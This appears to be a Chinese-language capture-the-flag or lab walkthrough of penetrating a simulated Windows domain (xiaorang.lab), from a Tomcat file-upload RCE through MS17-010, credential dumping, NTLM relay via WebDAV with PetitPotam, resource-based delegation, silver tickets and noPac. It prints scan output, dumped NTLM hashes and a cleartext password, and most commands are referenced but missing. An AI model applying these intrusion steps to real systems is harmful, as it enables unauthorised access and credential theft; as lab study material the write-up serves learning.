入口机
fscan/kscan
ssh://39.99.141.133:22 ssh Info:UbuntuLinux;protocol2,Digest:"SSH-2.0-OpenSSH_8.2p1U,Port:22,ProductName:OpenSSH,Version:8.2p1Ubuntu4ubuntu0.5,OperatingSystem:Linux,Length:41
dns://39.99.141.133:53 dns Port:53,Digest:"DnsServer",Length:9
ajp13://39.99.141.133:8009 ajp13 ProductName:ApacheJserv,Info:Protocolv1.3,Length:5,Version:i,Port:8009,Digest:"AB\x00\x01\t"
http://39.99.141.133:8080 后台管理 FingerPrint:后台;Layui;Frame;HTML5,Digest:feff后台管理更换主体头部导航菜单切换天气信息,Length:7290,Port:8080,FoundDomain:www.cssmoban.com、www.chazidian.com
dirsearch
[10:15:53] 200 - 17KB - /docs/
[10:15:53] 404 - 733B - /docs/maintenance.txt
[10:15:53] 404 - 730B - /docs/swagger.json
[10:15:53] 404 - 733B - /docs/export-demo.xml
[10:15:53] 404 - 737B - /docs/html/index.html
[10:15:53] 404 - 730B - /docs/updating.txt
[10:15:54] 302 - 0B - /download -> /download/
[10:15:54] 200 - 132B - /download/
[10:15:54] 404 - 781B - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[10:15:54] 302 - 0B - /examples -> /examples/
[10:15:54] 200 - 14KB - /examples/jsp/index.html
[10:15:54] 404 - 746B - /examples/servlet/SnoopServlet
[10:15:54] 200 - 1KB - /examples/
[10:15:54] 200 - 6KB - /examples/servlets/index.html
[10:15:54] 200 - 1KB - /examples/servlets/servlet/RequestHeaderExample
[10:15:54] 200 - 658B - /examples/servlets/servlet/CookieExample
[10:15:54] 200 - 1KB - /examples/websocket/index.xhtml
[10:15:55] 200 - 685B - /examples/jsp/snp/snoop.jsp
在一些路由随便访问能够拿到 tomcat 的版本:Tomcat Version 9.0.30
,幽灵猫:
然后看到有个 /UploadServlet
路由,发现可以直接上传文件并返回路径,那么思路也就很明确了:上传并包含 RCE。
上传 exp.jsp:
文件包含写入公钥
然后直接登录拿到第一个 flag:
然后上个 viper 马:
内网渗透
入口机信息收集
fscan/kscan
(icmp) Target 172.22.11.6 is alive
(icmp) Target 172.22.11.76 is alive
(icmp) Target 172.22.11.26 is alive
(icmp) Target 172.22.11.45 is alive
[*] Icmp alive hosts len is: 4
172.22.11.26:445 open
172.22.11.45:445 open
172.22.11.6:445 open
172.22.11.45:139 open
172.22.11.26:139 open
172.22.11.6:139 open
172.22.11.45:135 open
172.22.11.26:135 open
172.22.11.6:135 open
172.22.11.6:88 open
172.22.11.76:22 open
172.22.11.76:8080 open
172.22.11.76:8009 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo:
[*] 172.22.11.6
[->]XIAORANG-DC
[->]172.22.11.6
[*] NetInfo:
[*]172.22.11.26
[->]XR-LCM3AE8B
[->]172.22.11.26
[*] NetBios: 172.22.11.26 XIAORANG\XR-LCM3AE8B
[*] NetBios: 172.22.11.45 XR-DESKTOP.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[+] 172.22.11.45 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.11.6 [+]DC XIAORANG\XIAORANG-DC
[*] WebTitle: http://172.22.11.76:8080 code:200 len:7091 title:后台管理
netbios-ns://172.22.11.6:137 netbios-ns Port:137,Info:maincontroller:XIAORAN,Length:193,Digest:CKAAAAAAAAAAAAAAAAAAAAA,OperatingSystem:Windows,Hostname:XIAORANG-DC,ProductName:icrosoftWindowsnetbios
netbios://172.22.11.6:139 netbios Length:5,Port:139,Digest:"\x83\x00\x00\x01\x8f",ProductName:crosoftWindowsnetbios-,OperatingSystem:Windows
ldap://172.22.11.6:389 ldap Length:3011,Hostname:XIAORANG-DC,ProductName:tWindowsActiveDirecto,Info:ite:Default-First-Site-,Port:389,Digest:"0d00domainFunctionality,OperatingSystem:Windows
rdp://172.22.11.6:3389 rdp Digest:3\x00\x00\x13\x0e\xd0\x0,Length:19,OperatingSystem:Windows,Port:3389,ProductName:icrosoftTerminalServic
smb://172.22.11.6:445 smb Port:445,Digest:SMB@AB\"!HL7gd/+x`v+l0j<,Length:298
netbios-ns://172.22.11.26:137 netbios-ns Digest:"CKAAAAAAAAAAAAAAAAAAAA,Info:workgroup:XIAORANG,ProductName:crosoftWindowsnetbios-,Hostname:XR-LCM3AE8B,Port:137,OperatingSystem:Windows,Length:157
netbios://172.22.11.26:139 netbios ProductName:rosoftWindowsnetbios-s,Digest:"\x83\x00\x00\x01\x8f",Length:5,Port:139,OperatingSystem:Windows
rdp://172.22.11.26:3389 rdp OperatingSystem:Windows,Port:3389,Digest:\x03\x00\x00\x13\x0e\xd0,ProductName:icrosoftTerminalServic,Length:19
netbios-ns://172.22.11.45:137 netbios-ns ProductName:icrosoftWindowsnetbios,Hostname:XR-DESKTOP,Digest:"CKAAAAAAAAAAAAAAAAAAAA,OperatingSystem:Windows,Port:137,Info:workgroup:XIAORANG,Length:157
netbios://172.22.11.45:139 netbios ProductName:rosoftWindowsnetbios-s,OperatingSystem:Windows,Digest:"\x83\x00\x00\x01\x8f",Length:5,Port:139
rdp://172.22.11.45:3389 rdp Port:3389,ProductName:icrosoftTerminalServic,Digest:\v\x06\xd0\x00\x00\x124\,Length:11,OperatingSystem:Windows
spark://172.22.11.6:88 spark Digest:"\x00\x00\x00\x00",Length:4,ProductName:ApacheSpark,Port:88
smb://172.22.11.26:445 smb Port:445,Digest:"RSMB@Aj]KF0/J!`+~0z<0:+,Length:598
ssh://172.22.11.76:22 ssh Length:41,Version:8.2p1Ubuntu4ubuntu0.5,Info:UbuntuLinux;protocol2,Port:22,OperatingSystem:Linux,Digest:SSH-2.0-OpenSSH_8.2p1Ub,ProductName:OpenSSH
smb://172.22.11.45:445 smb Digest:"SMB@AP61LI'f-r]x`v+l0j,Length:252,Port:445
ajp13://172.22.11.76:8009 ajp13 Length:5,ProductName:ApacheJserv,Digest:"AB\x00\x01\t",Version:i,Info:Protocolv1.3,Port:8009
http://172.22.11.76:8080 后台管理 Length:7290,FoundDomain:www.cssmoban.com、www.chazidian.com,FingerPrint:后台;Layui;Frame;HTML5,Port:8080,Digest:ff后台管理更换主体头部导航菜单切换天气信息搜索
[+]2023/11/09 19:58:55 所有扫描任务已下发完毕
[+]2023/11/09 19:58:58 程序执行总时长为:[22.140166937s]
[+]2023/11/09 19:58:58 若有问题欢迎来我的Github提交Bug[https://github.com/lcvvvv/kscan/]
得到信息总结:
- 172.22.11.6:域控 DC XIAORANG\XIAORANG-DC
- 172.22.11.76:入口机
- 172.22.11.45:内网机 XR-DESKTOP.xiaorang.lab
- 172.22.11.26:内网机 XIAORANG\XR-LCM3AE8B
45 (XR-DESKTOP)
前面信息收集可以看到是 ms17-010,直接用 msf:
需要注意的是如果直接 viper msf 里的 route 功能似乎连不到 bind 端口,所以需要配置一个代理然后用 proxychains 连接,然后 viper 的坑就来了,viper 的代理似乎挺容易炸的不知道为啥,所以憋得只能再上了一个 vshell 的马来开代理 XD
然后 viper 使用 windows/meterpreter_reverse_tcp 利用入口机的 session 生成一个监听,上传载荷上线,具体多级代理上线可以看 viper 的文档:
26 (XR-LCM3AE8B)
ps
然后迁移到 64 位进程,方便加载 kiwi:
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
XR-DESKTOP$ XIAORANG c741dc7c8950a2864de8ce65e740fba4 baa9ac037870d34483cda5b623e2bfbbdc471e65
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
XR-DESKTOP$ XIAORANG xx
yangmei XIAORANG xrihGHgoNZQ
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
xr-desktop$ XIAORANG.LAB xx
xr-desktop$ XIAORANG.LAB (null)
yangmei XIAORANG.LAB xrihGHgoNZQ
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
然后传份 SharpHound 上去跑一下:
SharpHound.exe -c all
看了看 BloodHound 没啥东西,试了试哈希传递都不行然后后面不会了,溜去看别的 Walkthrough 了嘻嘻。
下面是打一个 NTLM Relay via WebDAV 。
- https://www.cnblogs.com/yokan/p/16102699.html
- https://daiker.gitbook.io/windows-protocol/ntlm-pian
- https://cloud.tencent.com/developer/article/2267322
NTLM Relay 大体是什么意思呢,其实就是域中的中间人攻击,通过一些方法触发客户端进行认证,将 Net-NTLM Hash 传给我们,我们再带着这个信息去访问 DC,从而实现 Relay。而 NTLM 只是一个底层的认证协议,需要上层协议的支持,比如 smb 也能作为其上层协议,这里是对于 WebDAV(HTTP) 协议进行攻击。需要注意的是不同的协议,其需要的签名状态不同,比如:
- relay 到 smb 服务要求被攻击机器不能开启 SMB 签名,普通域内机器默认不是开启的,但是域控是默认开启的。
- relay 到 ldap 也要求被攻击机器不开启 ldap 签名,而默认情况下是协商签名,即如果客户端是smb协议的话,则默认要求签名,如果是 webadv 或 http 协议,是不要求签名的。
检测内网启动了 WebClient 服务的机器:
以及 check PetitPotam 是否能够进行强制触发,这里有对于强制触发的总结。
然后需要准备好 relay 接收的攻击机,这里有多种方案,一个是直接在入口机上用 impacket 的 ntlmrelayx.py 起一个服务,但是这样显得不太优雅;一个是利用 viper 自带的端口反向转发功能,直接转发到自己的服务器的端口上,但是这个服务器的内存有点紧张,跑个 viper,vshell 就有点受不了了hh;所以还是用其他 Walkthrough 中提到的方法:转发到本地端口。
这里有个端口转发的总结。
这里使用 ssh 进行转发,但有一个问题是 ssh 反向端口转发只会监听 127.0.0.1 的请求,所以说需要进行一个绕过:首先需要转发入口机的 80 端口到本地,然后再套一层 socat 进行转发:
当然,如果有公网 ip,那直接用 socat 就行了:
测试:
利用 -delegate-access
选项基于资源的约束委派攻击。同时利用 PetitPotam 触发目标访问我们的 http 中继服务,从而获取其 Net-NTLMv2 Hash,再将其通过 ldap 传递到 dc 的 ldap 服务。
通过 ldap 修改 XR-LCM3AE8B
其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity
属性配置基于资源的约束委派,使得 xr-desktop$
能够模拟任意用户访问该服务。
伪造银票:
银票登录:
把 viper 马丢到入口机上起一个 python3 -m http.server 8081
文件传输并执行
上线成功:
6 (DC)
传个 mimikatz 上去:
看 tag 还剩一个 noPac 没用 hh,这个漏洞最本质的地方在于 Microsoft Windows Kerberos KDC 无法正确检查 Kerberos 票证请求随附的特权属性证书(PAC)中的有效签名,这里面的签名就是上面提到的服务检验和以及KDC校验和。导致用户可以自己构造一张 PAC。
发现好像 noPac 的依赖版本 impacket 有点问题会报错,但是前面已经能拿到 Administrator 的 ccache 了,所以可以自己使用 ccache 登录:
但这里有一点不太懂,就是为啥 MAQ=0 但这个 zhanghui 仍然能够创建机器账户。
一样上马:
最后的渗透拓扑图: